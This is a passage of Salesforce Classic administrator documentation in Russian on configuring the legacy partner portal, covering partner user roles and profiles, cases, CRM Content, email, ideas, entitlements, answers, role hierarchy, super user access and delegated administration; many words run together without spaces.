что связанный список «Назначаемые профили» содержит как минимум один профиль партнера, а пользователю
назначено полномочие «Управление внешними пользователями».

• При первом включении контакта в качестве пользователя-партнера или пользователя-клиента раскрывающийся
список «Роль» доступен только для чтения. При следующем включении контакта в качестве пользователя-клиента
или пользователя-партнера для данной организации раскрывающийся список «Роль» позволяет выбирать роль
пользователя.

• Пользователю-партнерудоступентолькопрофиль «Пользователь-партнер» илиегопроизводныепрофили. Вотличие
от стандартногопользователя, рольпользователя-партнераназначается автоматическинаосновеимениорганизации.
Роль пользователя-партнера подчиняется роли ответственного за организацию, поэтому все данные, используемые
рольюпользователя-партнера, сводятсядляролиответственногозаорганизацию-партнера. Помните, чтоотключение
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пользователя портала инициирует устаревание роли пользователя-партнера, а его данные больше не сводятся для
роли организации-партнера.

• Пользователи-партнеры и контакты не могут быть удалены. Чтобы заблокировать доступ пользователя-партнера к
порталу, рекомендуем деактивировать пользователя-партнера.

• Контакты партнера могут принадлежать только организации-партнеру.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала

Общие сведения о партнерском портале

Включение партнерского портала

Включение функций на партнерском портале

Включение обращений на партнерском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения обращений
для
пользователей-партнеров:
• «Управление

профилями и наборами
полномочий»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Привключенииобращенийнапартнерскомпорталеобращениямогутбытьназначены
пользователям-партнерам напрямую, а также посредством правил назначения или
расширения. Пользователи-партнерымогутредактировать, создаватьилипереназначать
обращения, а такжедобавлятькомментариикобращениям, находитьрешенияисоздавать
группы, работающие с обращениями. Пользователи-партнеры не могут редактировать
комментарии к обращениям, связывать обращения с активами и удалять обращения.

Прим.: Комментарии к обращениям, добавленные пользователямипартнерского
портала, являются общедоступными и могут быть просмотрены любыми
пользователями, которым доступны соответствующие обращения.

Чтобы включить обращения на партнерском портале, выполните указанные ниже
действия.

1. Добавьте вкладку «Обращения» в список доступных вкладок партнерского портала.

2. Убедитесь, чтодоступностивкладки «Обращения» задано значение «Включены стандартные параметры» впрофиле
пользователя-партнера.

3. Включитеполномочия «Чтение», «Создание» и «Редактирование» дляобращенийвпрофилепользователя-партнера.

Ниже перечислены рекомендации по использованию обращений на партнерском портале.
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• Чтобы разрешить пользователям-партнерам отправку электронных уведомлений новым контактам, назначенным
обращениям, выберите шаблон создания обращения. Введите строку «Параметры поддержки» в поле «Быстрый
поиск» в меню «Настройка» и выберите пункт «Параметры поддержки».

• Чтобы разрешить партнерам добавление участников группы, работающей с обращениями, настройте роли рабочей
группы. Введите строку «Роли рабочей группы» в поле «Быстрый поиск» в меню «Настройка», затем выберите «Роли
рабочей группы».

• Ссылки «Список сообщений эл. почты», «Далее» и «Назад» недоступны пользователям портала при просмотре
сообщения эл. почты, связанного с обращением.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала

Параметры партнерского портала

Включение Salesforce CRM Content на партнерском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Настройка приложения»Для настройки и обновления партнерского
портала:

«Управление профилями и наборами
полномочий»

Для создания и редактирования профилей:

“Управление внешними пользователями»Для управления пользователями
партнерского портала:

«Управление Salesforce CRM Content»

ИЛИ

Для создания полномочий библиотеки
Salesforce CRM Content:

«Управление полномочиями содержимого»

«Управление Salesforce CRM Content»

ИЛИ

Для добавления пользователей в библиотеку
Salesforce CRM Content:

Флажок «Управление библиотеками»,
установленный в определении полномочий
библиотеки

Прим.: Начинаясвыпуска Summer'13 партнерскийпорталнедоступендляновыхорганизаций. Текущиеорганизации
могут использовать портал в обычном режиме. При отсутствии партнерского портала общий доступ к данным
может быть предоставлен партнерам посредством сообществ.

Текущие организации, поддерживающие партнерские порталы, могут продолжить использование собственных
партнерских порталов или выбрать использование сообществ. Дополнительную информацию можно получить
у менеджера по работе с клиентами Salesforce.

Приложение Salesforce CRM Content доступно на партнерском портале. Пользователи партнерского портала могут иметь
два уровня доступа к приложению Salesforce CRM Content.
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• ПользователипорталабезлицензииSalesforce CRM Contentмогутзагружать, оценивать, комментироватьиподписываться
на содержимое только при наличии полномочия «Просмотр содержимого на порталах». Пользователи не могут
просматриватьконфиденциальныеданные (например, именапользователейижурнал загрузок, версийилиподписок).
Функция доставки содержимого недоступна пользователям портала.

• Пользователи портала с лицензией Salesforce CRM Content могут использовать все функции Salesforce CRM Content,
предоставленныесоответствующимиполномочиямибиблиотеки, включаядобавление, перемещение, общийдоступ
и удаление содержимого из библиотек. Кроме того, они могут просматривать отчеты Salesforce CRM Content. Функция
доставки содержимого недоступна пользователям портала.

Включение Salesforce CRM Content для нелицензированных пользователей

Чтобывключить Salesforce CRM Contentнапорталах, включитепартнерскийпорталивыполните указанныенижедействия.
Ниже перечислены действия, предназначенные для нелицензированных пользователей Salesforce CRM Content.

1. Обновите клонированные профили «Пользователь-партнер».

a. Добавьте полномочие «Просмотр содержимого на порталах».

b. Измените доступность вкладок «Библиотеки», «Содержимое» и «Подписки» со значения «Вкладка скрыта» на
значение «Включены стандартные параметры».

c. Назначьте обновленный профиль нужным пользователям партнерского портала.

2. Чтобы определить полномочия пользователей портала в каждой библиотеке Salesforce CRM Content, создайте как
минимум одно полномочие библиотеки.

Прим.: Полномочиебиблиотекиможетпредоставитьтолькопривилегии, разрешенныелицензиейнакомпонент
или профилем пользователя. Например, полномочие библиотеки «Присвоить тег содержимому» позволяет
присваивать теги содержимому только пользователям портала с лицензией Salesforce CRM Content.

3. Определитебиблиотеки, которыедолжныбытьдоступныпользователямпортала. Убедитесь, чтоданныебиблиотеки
не содержат конфиденциальных данных.

4. Добавьте пользователей портала в библиотеки. Пользователи портала с профилем «Пользователь-партнер» или его
копией могут быть добавлены в библиотеку только в составе общедоступной группы.

5. Добавьте вкладки Salesforce CRM Content на каждый партнерский портал.

Прим.: Вкладка «Документы» не является частью Salesforce CRM Content.

Включение Salesforce CRM Content для лицензированных пользователей

Чтобывключить Salesforce CRM Contentнапорталах, включитепартнерскийпорталивыполните указанныенижедействия.
Ниже перечислены действия, предназначенные для лицензированных пользователей Salesforce CRM Content.

1. Обновите клонированные профили «Пользователь-партнер».

a. Чтобыразрешитьпользователямпортала создаватьбиблиотекииуправлятьими, добавьтеполномочие «Создание
библиотек».

b. Измените доступность вкладок «Библиотеки», «Содержимое» и «Подписки» со значения «Вкладка скрыта» на
значение «Включены стандартные параметры».

c. Назначьте обновленный профиль нужным пользователям партнерского портала.

2. Установитефлажок «Пользователь Salesforce CRM Content» настраницесведенийопользователедлякаждого
пользователя партнерского портала.
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3. Чтобы определить полномочия пользователей портала в каждой библиотеке Salesforce CRM Content, создайте как
минимум одно полномочие библиотеки.

Прим.: Полномочиебиблиотекиможетпредоставитьтолькопривилегии, разрешенныелицензиейнакомпонент
или профилем пользователя. Например, полномочие библиотеки «Присвоить тег содержимому» позволяет
присваивать теги содержимому только пользователям портала с лицензией Salesforce CRM Content.

4. Определитебиблиотеки, которыедолжныбытьдоступныпользователямпортала. Убедитесь, чтоданныебиблиотеки
не содержат конфиденциальных данных.

5. Добавьте пользователей портала в библиотеки. Пользователи портала с профилем «Пользователь-партнер» или его
копией могут быть добавлены в библиотеку только в составе общедоступной группы.

6. Добавьте вкладки Salesforce CRM Content на каждый партнерский портал.

Прим.: Вкладка «Документы» не является частью Salesforce CRM Content.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала

Включение эл. почты на партнерском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для включения
полномочий:
• «Управление

профилями и наборами
полномочий»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Включение эл. почты на партнерском портале позволяет пользователям-партнерам
отправлять сообщения эл. почты из связанных списков «Журнал действий» на
партнерскомпортале. Например, кнопка «Отправить сообщение эл. почты», нажатая
пользователем-партнером в связанном списке интереса «Журнал действий», позволяет
отправить сообщение эл. почты интересу и добавить данное сообщение в связанный
список.

Чтобы разрешить пользователям-партнерам отправку сообщений эл. почты прямо на
партнерскомпортале, назначьтеимполномочие «Отправка эл. почты». Чтобыразрешить
пользователям-партнерам использованиешаблонов эл. почты, предоставьте им доступ
к шаблонам.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала
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Включение сообщества «Идеи» на партнерском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления партнерского
портала:
• «Настройка

приложения»

Для создания сообщества:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Чтобы включить сообщество «Идеи» на портале, настройте партнерский портал и
выполните указанные ниже действия.

1. Чтобысоздать активное сообществоидей, настроенноедляотображениянапортале,
введитестроку «Зоны идей» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Зоны идей».

2. Добавьте вкладку «Идеи» на партнерский портал.

3. Если организация использует лицензию Ideas and Answers Portal, скройте вкладку
«Отчеты» на партнерском портале. В противном случае при открытии вкладки
«Отчеты» пользователям партнерского портала отображается сообщение
«Недостаточно полномочий».

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала
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Включение функции управления правами на партнерском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition с
консолью Service Cloud.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления партнерского
портала:
• «Настройка

приложения»

Для создания и
редактирования профилей:
• «Управление

профилями и наборами
полномочий»

Для управления
пользователями портала:
• «Управление внешними

пользователями»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Партнерский портал позволяет предоставить партнерам доступ к правам, сервисным
контрактам и элементам строки контракта.

Чтобы добавить функцию управления правами на порталы, настройте функцию
управления правами и включите поддержку партнерского портала, а затем выполните
указанные ниже действия.

1. Обновите клонированные профили «Пользователь-партнер».

a. Добавьте полномочие «Чтение» для прав, сервисных контрактов или элементов
строки контракта.

b. При необходимости включите полномочия «Создание» и «Удаление» для
контактов права в профилях делегированных администраторов
пользователей-партнеров. Данное действие позволяет делегированным
администраторам внешних пользователей обновлять контакты права.

c. Убедитесь, чтодоступностивкладки «Права» или «Сервисныеконтракты» задано
значение «Включены стандартные параметры». Элементы строки контракта
отображаются в сервисных контрактах.

2. Нажмите кнопку «Редактировать профили» в нижней части страницы сведений
о партнерском портале и активируйте новый профиль.

3. Чтобы добавить поле поиска «Имя права», настройте макеты страниц обращений.
Данноедействиепозволяетпользователям-партнерамдобавлятьправа вобращения.

Совет: Рекомендуемнедобавлятьследующиеполяпроцессаправавмакетыстраницобращенийдляпользователей
портала, потомучтоинформация, связанная с внутреннимипроцессамиподдержки, должнабытьимнедоступна:
«Время начала процесса права», «Время окончания процесса права», «Остановлено» и «Дата остановки».

4. Чтобы добавить права, настройте связанные списки организаций и контактов. Данное действие позволяет
делегированнымадминистраторамвнешнихпользователейсоздаватьобращения, которыеавтоматическисвязываются
с нужными правами.

5. Добавьте вкладку «Права» или «Сервисные контракты» на каждый партнерский портал.

6. Назначьте клонированные профили пользователям партнерского портала.

a. Чтобы создать пользователя партнерского портала, нажмите кнопку «Управление внешним пользователем»
на странице сведений о контакте и выберите пункт «Включить пользователя-партнера». Чтобы обновить
текущегопользователя, нажмите кнопку «Управлениевнешнимпользователем»ивыберитепункт «Просмотр
пользователя-партнера».

b. При создании пользователя выберите клонированный профиль в раскрывающемся меню «Профиль». При
обновлении пользователя нажмите кнопку «Правка» и выберите нужный профиль.

1993

Предоставление пользователям права на совместное
использование данных с партнерами

Настройка и обслуживание инструментов продаж



c. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала

Включение ответов на партнерском портале

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления партнерского
портала:
• «Настройка

приложения»

Для создания и
редактирования профилей:
• «Управление

профилями и наборами
полномочий»

Для создания сообщества
ответов:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Партнерский портал позволяет предоставлять партнерам доступ к сообществу ответов.

Чтобы включитьфункцию «Ответы» на портале, выполните указанные ниже действия.

1. Настройте партнерский портал.

Ниже перечислены поддерживаемые изменения при настройке шрифтов и цветов
портала.

• Все стили вкладки

• Следующие стили страницы:

– Фон страницы

– Текст

– Ссылка

– Всплывающая ссылка

2. Настройте ответыи убедитесь, что сообщество ответов настроено для отображения
на партнерском портале.

3. Добавьте вкладку «Ответы» на партнерский портал.

4. Создайте пользователей партнерского портала.

5. Чтобы назначить пользователям партнерского портала параметры доступности
группы категорий, отличные от параметров ответственного за организацию, измените параметры доступности для
пользователя партнерского портала.

По умолчанию пользователи партнерского портала наследуют доступные им категории от ответственного за
организацию. Например, если ответственному за организацию назначена роль генерального директора, которой
предоставленполныйдоступ ко всем категориям данных в группе категорий, назначеннойответам, то пользователям
партнерскогопортала такжемогутбытьдоступнывсе категориив сообществеответов. Внекоторыхслучаях категории,
доступные пользователю партнерского портала, могут быть ограничены.
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6. Если организация использует лицензию Ideas and Answers Portal, скройте вкладку «Отчеты» на партнерском портале.
Впротивномслучаеприоткрытиивкладки «Отчеты» пользователямпартнерскогопорталаотображается сообщение
«Недостаточно полномочий».

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала

Управление пользователями-партнерами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

“Управление внешними пользователями»Для управления пользователями
партнерского портала:

«Управление профилями и наборами
полномочий»

Для создания, редактирования и удаления
профилей:

«Настройка приложения»Для создания, редактирования и удаления
макетов страниц:

«Управление профилями и наборами
полномочий»

И

Для настройки параметров безопасности
поля:

«Настройка приложения»

«Управление общим доступом»Для настройки правил общего доступа:

Прим.: Начинаясвыпуска Summer'13 партнерскийпорталнедоступендляновыхорганизаций. Текущиеорганизации
могут использовать портал в обычном режиме. При отсутствии партнерского портала общий доступ к данным
может быть предоставлен партнерам посредством сообществ.

Текущие организации, поддерживающие партнерские порталы, могут продолжить использование собственных
партнерских порталов или выбрать использование сообществ. Дополнительную информацию можно получить
у менеджера по работе с клиентами Salesforce.

Партнерскийпортал Salesforceподдерживает тежефункции, чтоисистема Salesforce, поэтому управлениепользователями
партнерского портала осуществляется так же, как и управление пользователями Salesforce.

Ниже перечислены рекомендации по управлению пользователями партнерского портала.

Профили партнерского портала
Полномочия, назначаемые пользователям партнерского портала, определяют функции, доступные на партнерском
портале организации (например, просмотр, создание или редактирование записей обращений и настраиваемых
объектов). Профиль «Пользователь-партнер»автоматическисоздаетсядляорганизациипослевключенияпартнерского
портала. Профиль «Пользователь-партнер» не может быть изменен.

Чтобыразрешитьпользователям-партнерамвходнапартнерскийпортал, клонируйтепрофиль«Пользователь-партнер».
Убедитесь, чтокаждомуклонированномупрофилюненазначенополномочие «Пользовательтолько API». Впротивном
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случае, пользователи, связанныеспрофилем, несмогут выполнятьвходнапартнерскийпортал.Клонированиеданных
профилей или создание наборов полномочий позволяет определить действия, доступные пользователям портала.

Правила общего доступа к партнерскому порталу
Ниже перечислены группыи категории правил общего доступа, создаваемые при включении партнерского портала.

ОписаниеГруппа или категория

Даннаягруппасодержитвсехпользователейпартнерского
портала в организации.

Группа «Все пользователи партнерского портала»

Данная группа содержит всех пользователей Salesforce в
организации.

Группа «Все внутренние пользователи»

Данная категория позволяет создавать правила общего
доступа для определеннойролипользователей Salesforce

Категория правил общего доступа «Роли и внутренние
подчиненные роли»

в организации и всех нижестоящих ролей, кроме ролей
партнерского портала.

Данные группы и категория правил общего доступа могут использоваться для создания правил общего доступа,
которые предоставляют всем пользователям партнерского портала или системы Salesforce доступ к конкретным
данным. Кроме того, правила общего доступа могут быть созданы между пользователями партнерского портала и
пользователями Salesforce, но не могут быть созданы между пользователями-партнерами, связанными с разными
организациями-партнерами.

Еслипартнерскийпортал использует компонент Salesforce Knowledge, то пользователипортала могут просматривать
статьи, разрешенные параметрами доступности группы категорий.

Иерархия ролей на партнерском портале
При включении первого пользователя партнерского портала система создает иерархию ролей для пользователей
портала, предназначенную для организации и ее контактов. Организация добавляется в иерархию ролей ниже
ответственного пользователя. Контакт, включенный в качестве пользователя партнерского портала, автоматически
назначаетсяроли «Пользователь» виерархииролейпортала, заданнойдляорганизации. Поумолчаниюорганизациям
портала предоставляется три роли. Количество ролей может быть сокращено или увеличено до трех.
Пользователям-партнерам может быть назначена одна из трех ролей:

• Руководитель

• Менеджер

• Пользователь

Роль «Руководитель-партнер» располагается ниже роли менеджера канала распределения в иерархии ролей. Роль
«Менеджер-партнер» располагаетсянижероли «Руководитель-партнер». Роль «Пользователь-партнер» располагается
ниже роли «Менеджер-партнер». Имя каждой роли содержит имя организации-партнера. Например,
организация-партнер Acme может создать три роли «Руководитель-партнер Acme», «Менеджер-партнер Acme» и
«Пользователь-партнер Acme». Еслиответственность за организацию-партнерапередается другомуменеджеру канала
распределения, то роль пользователя-партнера переносится в соответствующую область иерархии ролей.

Прим.: Рекомендуем внимательно обращаться с иерархией ролей. Независимо от модели общего доступа
организации, любая роль пользователя-партнера позволяет просматривать и редактировать все данные,
принадлежащие или предоставленные нижестоящимпользователям иерархии. Управление ролями партнеров
может осуществляться посредством административных отчетов.
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Организации с разными типами порталов поддерживают отдельные иерархии ролей для каждого портала. Имена
ролей содержат связанные типы порталов. Например, если организация А использует партнерский и клиентский
порталы, то роли для клиентского портала называются «Пользователь-клиент организации A», а для партнерского
портала — «Пользователь-партнер организации A».

Все контактыворганизации-партнередоступныдлячтения всемпользователямсрольюпользователя-партнерадаже
в том случае, если модели общего доступа к контактам задано значение «Личный». Задачи, связанные с доступными
объектами, доступны пользователям-партнерам для чтения и записи. События, связанные с доступными объектами,
доступны пользователям-партнерам для чтения. Доступ пользователей-партнеров к статьям Salesforce Knowledge
определяется уровнем доступа ответственного за организацию.

Чтобыпросмотретьроли, назначенныепользователямпартнерскогопортала, создайтенастраиваемыйотчет, выберите
папку «Административные отчеты», выберите тип данных «Пользователи» и добавьте столбец «Роль».

Удаление ролей партнерского портала
Удаление ролей партнерского портала инициирует переименование ролей, позволяющее сохранить структуру
иерархии. Например, если роль «Менеджер» удаляется из трехролевой иерархии («Руководитель», «Менеджер» и
«Пользователь»), то роли «Руководитель» назначается имя «Менеджер», но ее код сохраняется. При создании роли
партнерского портала иерархия новой роли определяется и создается автоматически.

Вцеляхповышенияпроизводительностисистемаподдерживаетпакетноеудалениеролей. Например, еслибольшинству
пользователей назначена роль «Пользователь», то роли «Руководитель» и «Менеджер» могут быть удалены.
Дополнительную информацию об удалении ролей партнеров см. в Руководстве разработчика SOAP API.

Доступ суперпользователя
Пользователям могут быть назначены полномочия суперпользователя, предоставляющие доступ к данным, которые
принадлежатдругимпользователямсэтойжерольюилинижестоящимиролями. Например, роль «Менеджер-партнер»
с полномочиями суперпользователя может просматривать данные, принадлежащие другим пользователям с ролями
«Менеджер-партнер» или «Пользователь-партнер».

Лицензии пользователей партнерского портала
Пользователипартнерскогопорталамогут выполнятьтольконекоторыефункции, доступныепользователямSalesforce,
так как им назначается специальный тип лицензии.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала
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Назначение доступа суперпользователя-партнера

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования,
отключения или
деактивации пользователей
портала:
• «Управление внешними

пользователями»

Для создания контактов:
• «Создание» для

контактов

Для просмотра контактов:
• «Чтение» для контактов

Пользователям-партнерам может быть назначена одна из трех ролей:
«Руководитель-партнер», «Менеджер-партнер» или «Пользователь-партнер» (рабочая
роль).

Доступные данныеРоль суперпользователя-партнера

Данные, принадлежащие всем
пользователям-партнерам и
суперпользователям-партнерам с этой же
ролью или нижестоящими ролями (роли
«Менеджер» и «Пользователь»).

Руководитель-партнер

Данные, принадлежащие всем
пользователям-партнерам и
суперпользователям-партнерам с этой же
ролью или нижестоящими ролями (роль
«Пользователь»).

Менеджер-партнер

Данные, принадлежащие всем
пользователям-партнерам и
суперпользователям-партнерам с этой же
ролью (роль «Пользователь»).

Пользователь-партнер (рабочая роль)

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Дополнительнуюинформациюовключениидоступа суперпользователя-партнеранапартнерскомпортале см. вразделе
«Включение доступа суперпользователя-партнера».

• Чтобыназначитьдоступ суперпользователя, откройте страницу сведенийоконтактеорганизации-партнера, нажмите
кнопку «Управление внешним пользователем» и выберите пункт «Включить доступ суперпользователя».

• Чтобыотменитьдоступ суперпользователя-партнера, откройте страницу сведенийоконтактеорганизации-партнера,
нажмитекнопку«Управлениевнешнимпользователем»ивыберитепункт«Отключитьдоступсуперпользователя».

Пример: Примите во внимание указанные ниже рекомендации.

• Суперпользователи-партнерымогут иметь доступ к данным, принадлежащим всем пользователям-партнерам и
суперпользователям-партнерам с той же ролью или нижестоящими ролями в иерархии организаций портала,
даже в том случае, если единым стандартным параметрам задано значение «Личный».

• Доступ суперпользователя-партнера применяется только к обращениям, интересам, настраиваемым объектам
и возможностям. Например, организации назначены два суперпользователя-партнера с одной и той же ролью,
при этом пользователь А несет ответственность за одни возможности, а пользователю Б предоставлен ручной
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доступ к другой возможности. В этом случае пользователюА предоставляется доступ ко всем возможностям,
включая возможности, доступные пользователю Б.

СМ. ТАКЖЕ:

Параметры партнерского портала

Предоставление пользователям-партнерам доступа к запросам на проведение конференций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки и
обновления партнерского
портала:
• «Настройка

приложения»

Для создания и
редактирования профилей:
• «Управление

профилями и наборами
полномочий»

Для настройки функции
отправки запросов на
проведение конференции:
• «Настройка

приложения»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Чтобы разрешить пользователям-партнерам отправку запросов контактам, интересам
иорганизациям-лицам, включитеподдержкупартнерскогопортала, настройтефункцию
отправкизапросовнапроведениеконференцийивыполнитеуказанныенижедействия.

1. Обновите настраиваемые профили «Пользователь-партнер».

a. Включите полномочия «Отправка эл. почты» и «Редактирование событий».

b. Убедитесь, что доступности вкладок «Контакты» и «Интересы» задано значение
«Включены стандартные параметры».

2. Убедитесь, чтонастраиваемыйпрофиль «Пользователь-партнер» активениназначен
пользователям-партнерам.

СМ. ТАКЖЕ:

Общие сведения о партнерском портале

Включение партнерского портала
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Делегирование администрирования пользователей-партнеров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления
пользователями
партнерского портала:
• “Управление внешними

пользователями»

Для создания,
редактирования и удаления
профилей:
• «Управление

профилями и наборами
полномочий»

Прим.: Начиная с выпуска Summer'13 партнерский портал недоступен для новых
организаций. Текущиеорганизациимогутиспользоватьпорталвобычномрежиме.
При отсутствии партнерского портала общий доступ к данным может быть
предоставлен партнерам посредством сообществ.

Текущиеорганизации, поддерживающиепартнерскиепорталы, могутпродолжить
использование собственных партнерских порталов или выбрать использование
сообществ. Дополнительнуюинформациюможнополучитьуменеджерапоработе
с клиентами Salesforce.

Некоторые полномочия администратора могут быть делегированы внешним
пользователям с лицензией пользователя-партнера. Ниже перечислены действия,
доступные делегированным администраторам внешних пользователей над
пользователями, включая пользователей-клиентов и пользователей-партнеров,
связанными с собственными организациями.

• Создание внешних пользователей

• Редактирование внешних пользователей

• Сброс паролей для внешних пользователей

• Деактивация текущих внешних пользователей

Прим.: Делегированный администратор внешних пользователей,
деактивирующийпользователяпортала, неможетудалитьпользователяпортала
из рабочих групп с его участием.

Делегирование прав администрирования пользователей-партнеров поддерживается
только исходным пользовательским интерфейсом профиля. При использовании
расширенного пользовательского интерфейса профиля рекомендуем временно
отключить даннуюфункцию в параметрах пользовательского интерфейса.

Чтобы делегировать права администрирования пользователей-партнеров, выполните указанные ниже действия.

1. Введите строку «Профили» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Профили», а затем
выберите нужный профиль клиентского портала.

Профиль «Пользователь-партнер» недоступен для редактирования.

2. Нажмите кнопку «Правка».

3. Установите флажок «Делегированный администратор внешних пользователей».

4. Нажмите кнопку «Сохранить».

5. Нажмите кнопку «Правка» в связанном списке «Профили делегированных внешних пользователей».

6. Выберитенужныепрофиливнешнихпользователей. Делегированныйадминистраторвнешнихпользователейможет
управлять внешними пользователями с профилями клиентского портала, партнерского портала или сообществ при
условии их принадлежности к одной и той же организации.

7. Нажмите кнопку «Сохранить».

Чтобы изменить профили, доступные делегированному администратору внешних пользователей для редактирования,
выполните указанные ниже действия.
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1. Введите строку «Профили» в поле «Быстрый поиск» в меню «Настройка», выберите пункт «Профили», а затем
выберите нужный профиль клиентского портала.

Профиль «Пользователь-партнер» недоступен для редактирования.

2. Нажмите кнопку «Правка» в связанном списке «Профили делегированных внешних пользователей».

3. Выберите нужные профили внешних пользователей.

4. Нажмите кнопку «Сохранить».

Чтобы просмотреть и изменить сведения о пользователе партнерского портала, делегированные администраторы
пользователей портала могут нажать кнопку «Управление внешнимпользователем» на странице сведений о контакте
и выбрать пункт «Просмотр пользователя-партнера».

• Чтобы изменить сведения о пользователе партнерского портала, нажмите кнопку «Правка».

• Чтобы восстановить пароль пользователя партнерского портала, нажмите кнопку «Сбросить пароль».

• Чтобы деактивировать пользователя, нажмите кнопку «Правка» и снимите флажок «Активно».

Прим.: Делегированные администраторы пользователей-партнеров могут обновлять пользователей портала в
любых целевых организациях.

Советы по настройке делегированного администрирования пользователей портала

Ниже перечислены рекомендации по настройке делегированного администрирования пользователей портала.

• Выполните указанные ниже действия в профиле соответствующих пользователей.

– Чтобы разрешить делегированным администраторам портала создание и обновление контактов, связанных с
организацией, добавьте полномочия «Создание» и «Редактирование» для контактов.

– Чтобы разрешить делегированным администраторам портала просмотр вкладок «Организации» и «Контакты», а
также управление контактами, связанными с их организациями, выберите значение «Включены стандартные
